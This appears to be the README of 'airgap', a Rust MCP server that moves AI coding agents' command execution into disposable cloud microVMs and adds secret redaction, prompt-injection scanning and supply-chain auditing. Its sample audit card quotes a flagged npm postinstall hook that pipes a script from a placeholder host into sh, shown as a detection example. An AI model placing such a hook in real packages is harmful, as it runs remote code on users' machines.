Repository avatar
AI Tools
v0.2.0
active

airgap

io.github.dhruvil-codes/airgap

Zero-trust microVM execution boundary for AI coding agents with secret redaction.

Documentation

airgap

CI Rust 1.89+ MCP Platforms License M8ven Verified

Disposable GMI AgentBox microVM execution, supply-chain auditing, and secret-redacting security boundary for AI coding agents.

[!NOTE] AI coding agents such as Claude Code, Cursor, Droid and Windsurf routinely run untrusted scripts, build unfamiliar repositories, reproduce issues and execute test suites. Doing that on a developer workstation exposes it to malicious install hooks, supply-chain attacks and credential theft. airgap is a local Model Context Protocol server that moves that execution into disposable GMI cloud microVMs, and scrubs secrets locally before logs or untrusted text are shown or sent to a model. Submitted commands never run on your machine.

[!WARNING] Early development. Offline tests and release builds pass on Linux, macOS and Windows. Live sandbox runs and inference work on the tested account; live patch verification currently gets HTTP 403 from GMI. See the validation record.

Architecture

flowchart LR
    subgraph Host["Local Workstation (Protected)"]
        Agent["AI Coding Agent<br/>(Claude Code / Cursor / Droid)"]
        Airgap["airgap MCP Server<br/>(100% Rust stdio)"]
        Scanners["Local Scanners<br/>โ€ข Secret Redactor<br/>โ€ข Supply-Chain Auditor"]
        Agent --> Airgap
        Airgap --> Scanners
    end

    subgraph Cloud["GMI Cloud Security Boundary"]
        AgentBox["GMI AgentBox MicroVM<br/>(Node.js / Python / Rust containers)"]
        MaaS["GMI MaaS<br/>(Defensive Prompt-Injection Classifier)"]
        Airgap -->|"Explicit Files & Commands"| AgentBox
        Airgap -->|"Sanitized Untrusted Text"| MaaS
    end

    AgentBox -->|"Test Logs & Exit Code"| Airgap
    Airgap -->|"Compact Markdown Status Card"| Agent

Only files the agent passes explicitly are uploaded; the server never reads your working tree on its own. Sandbox output is redacted before it reaches the agent, and every sandbox is deleted after the run. The image template stays on GMI Cloud so later runs with the same image and instance type skip the build. Details: architecture and threat model.

Why airgap?

Local host executionDocker on hostairgap cloud microVM
Host contamination riskHighMedium (shared kernel, mounted volumes)None from executed code; it runs remotely
Needs local Docker daemon or VMsNoYesNo
Startup overheadNoneLocal image pull and buildRemote provisioning; no local build (the first run per image builds a template, which can take minutes; later runs reuse it)
Pre-execution dependency auditNoneNoneairgap_audit_supply
Secret scrubbing in logsNoneNoneAutomatic on sandbox output; airgap_redact_secrets for any text
Prompt-injection defenseNoneNoneModel-assisted airgap_scan_injection

Quickstart

1. Install. The installers download a published release, verify its SHA-256 checksum and run airgap setup --yes.

# macOS / Linux
curl -fsSL https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.sh | bash
# Windows PowerShell
irm https://raw.githubusercontent.com/dhruvil-codes/airgap/main/scripts/install.ps1 | iex

If no release is published yet, or you prefer source, use Cargo (Rust 1.89+ and a native linker):

cargo install --git https://github.com/dhruvil-codes/airgap --locked

2. Configure your editors. Run this from your workspace:

airgap setup            # detected editors; Cursor, Claude Code and VS Code if none detected
airgap setup --cursor   # one editor only
airgap setup --rules-only --yes   # agent routing rules only

Setup registers the server for Claude Code, Cursor, VS Code and Factory Droid, and adds a managed routing-rule block to .cursorrules, CLAUDE.md and AGENTS.md. For Claude Code it adds mcp__airgap__* to permissions.allow without changing permissions.defaultMode, so airgap tools run without prompts while host tools (Bash, Write, Edit) keep their existing confirmation gates (pass --claude-bypass-permissions only if you explicitly want to disable all Claude Code tool prompts; see setup). GMI keys are written only to user-level configs (~/.claude.json, ~/.cursor/mcp.json, ~/.factory/mcp.json). Workspace files such as .mcp.json, .cursor/mcp.json, .vscode/mcp.json and .factory/mcp.json never store credentials, and setup removes keys it finds there. Set GMI_AGENTBOX_API_KEY and GMI_MAAS_API_KEY first (see .env.example); local scanners work without them.

3. Check health.

airgap doctor

Doctor checks both keys, the MaaS gateway, AgentBox compute eligibility, the configured model, and every registered editor config, labeled by client and scope. It creates no billable resources.

Using it from your agent

Reload your editor and prompt normally. The server instructions and routing rules tell the agent to pick and chain the tools itself:

You sayThe agent calls
"use airgap and run tests"airgap_audit_supply on the manifest, then airgap_sandbox_run
"use airgap to verify this PR diff"airgap_verify_patch (falls back to airgap_sandbox_run on a provider error)
"use airgap to audit dependencies"airgap_audit_supply
"triage issue #42"airgap_scan_injection on the issue text before acting on it

Routing rules guide tool choice; they cannot enforce it. Adding this server does not disable the agent's own terminal tools, so configure client permissions if all execution must go through airgap.

Sandbox, patch verification and supply-chain tools return a box-drawn terminal card for the agent; secret redaction and injection scans return a compact Markdown card. Every tool also returns the full JSON as structuredContent. These two cards are real output from the release binary:

โ•ญโ”€ ๐Ÿ›ก๏ธ  AIRGAP SUPPLY-CHAIN AUDIT โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚  RISK      ๐Ÿšจ HIGH                                   DURATION   4ms                  โ”‚
โ”‚  FLAGGED   2 items                                   SCOPE      Manifest heuristics  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  FLAGGED COMMANDS                                                                    โ”‚
โ”‚  โ€ข npm script postinstall: curl -s https://example.invalid/x.sh | sh                 โ”‚
โ”‚  โ€ข dependencies/left-pad: remote or local dependency requires review                 โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  ๐Ÿ”’ Manifest heuristics evaluated. Local host protected.                             โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ
๐Ÿ›ก๏ธ **Airgap Secret Redactor** ยท โฑ๏ธ **5ms**
๐Ÿ”’ **1 Secret Redacted**

> DATABASE_URL=postgres://app@db/prod
> DB_PASSWORD=[REDACTED]
> max_tokens = 4096

Sandbox and verification cards have the same frame. Their duration includes remote provisioning, so expect seconds rather than milliseconds (the values below are illustrative):

โ•ญโ”€ ๐Ÿ›ก๏ธ  AIRGAP SANDBOX EXECUTION โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚  STATUS    โœ… PASSED                                 EXIT CODE  0                    โ”‚
โ”‚  IMAGE     docker.io/library/rust:1-bookworm         DURATION   41870ms              โ”‚
โ”‚  COMPUTE   gmi.sandbox.medium                        SANDBOX    100% Host Guarded    โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  OUTPUT                                                                              โ”‚
โ”‚  running 1 test                                                                      โ”‚
โ”‚  test arithmetic ... ok                                                              โ”‚
โ”‚                                                                                      โ”‚
โ”‚  test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out          โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  ๐Ÿ”’ Host Protected: Executed inside isolated GMI AgentBox MicroVM. Zero local        โ”‚
โ”‚  modifications.                                                                      โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ
โ•ญโ”€ ๐Ÿ›ก๏ธ  AIRGAP REMOTE PATCH VERIFICATION โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚  VERDICT   โŒ UNVERIFIED                             DURATION   38210ms              โ”‚
โ”‚  STATUS    46 passed ยท 2 failed                      COMPUTE    gmi.sandbox.medium   โ”‚
โ”‚  IMAGE     docker.io/library/node:20-bookworm        SANDBOX    100% Host Guarded    โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  TEST SUITE METRICS                                                                  โ”‚
โ”‚  Pass Rate: 96% [โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘] 46/48                               โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  FAILURE REASONS                                                                     โ”‚
โ”‚  โ€ข Patch apply or test command failed (exit code 1).                                 โ”‚
โ”‚  โ€ข 2 test(s) failed.                                                                 โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  OUTPUT (last 20 lines)                                                              โ”‚
โ”‚    โœ˜ parser โ€บ rejects empty input                                                    โ”‚
โ”‚    โœ˜ parser โ€บ keeps trailing newline                                                 โ”‚
โ”‚    โ”€                                                                                 โ”‚
โ”‚    2 tests failed                                                                    โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  ๐Ÿ”’ Zero Host Contamination: Clean base snapshot verified in disposable cloud        โ”‚
โ”‚  sandbox.                                                                            โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

Tools

ToolRuns inWhat it does
airgap_sandbox_runAgentBoxRuns a command against an explicit file snapshot. Picks a Rust, Node.js or Python image from the files, or uses image. Returns exit code, redacted stdout/stderr and duration.
airgap_verify_patchAgentBoxApplies a unified diff to a clean base snapshot and runs the test command. Verified only with exit 0, untruncated logs and a recognized Rust or pytest summary. If the provider returns an error (currently HTTP 403 on the tested account), agents are told to apply the diff and run tests with airgap_sandbox_run.
airgap_scan_injectionMaaSClassifies issue, PR, log or feedback text as clean, suspicious or malicious. Text is redacted locally first; malformed model output never yields a clean verdict.
airgap_redact_secretsLocalScrubs private keys, known token formats, credential assignments and high-entropy strings. Sends nothing to the cloud.
airgap_audit_supplyLocalFlags install-time scripts and alternate dependency sources in package.json, requirements.txt or Cargo.toml. Heuristics only; no advisory database.
airgap_configureLocalChanges the default model and timeout (1โ€“1800 s) for later calls.
airgap_audit_repoAgentBox + MaaSSix-phase defensive static review of explicit files. Findings must quote the exact source line; runtime exploitability is not tested.

Inputs, limits, configuration variables and cleanup behavior are in the tool reference. Example arguments: examples/sandbox-run.json, examples/redact-secrets.json.

Security boundary

  • GMI sandboxes have outbound internet. "airgap" refers to the host execution boundary; this is not an offline or physically air-gapped system.
  • Files you send to a sandbox or model leave your machine. Sandbox snapshots are uploaded unchanged; injection-scan text and audit sources are redacted first.
  • Provider base URLs are read only from the process environment, so a cloned repository's .env cannot redirect your keys.
  • Scanners and model verdicts can be wrong. Receipts are unsigned SHA-256 integrity records, not attestations.

Read the threat model and the security policy before relying on it.

Documentation

Development

cargo fmt --check
cargo check --locked
cargo test --locked --all-targets
cargo clippy --locked --all-targets -- -D warnings
cargo build --release --locked

Tests run offline against local HTTP mocks and a real stdio child process; they need no GMI credentials and create no billable resources. On memory-constrained Windows machines, see CONTRIBUTING.md.

License

Licensed under either MIT or Apache-2.0, at your option.

Maintained by Dhruvil Mistry. An independent project, not an official GMI Cloud product.

No installation packages available.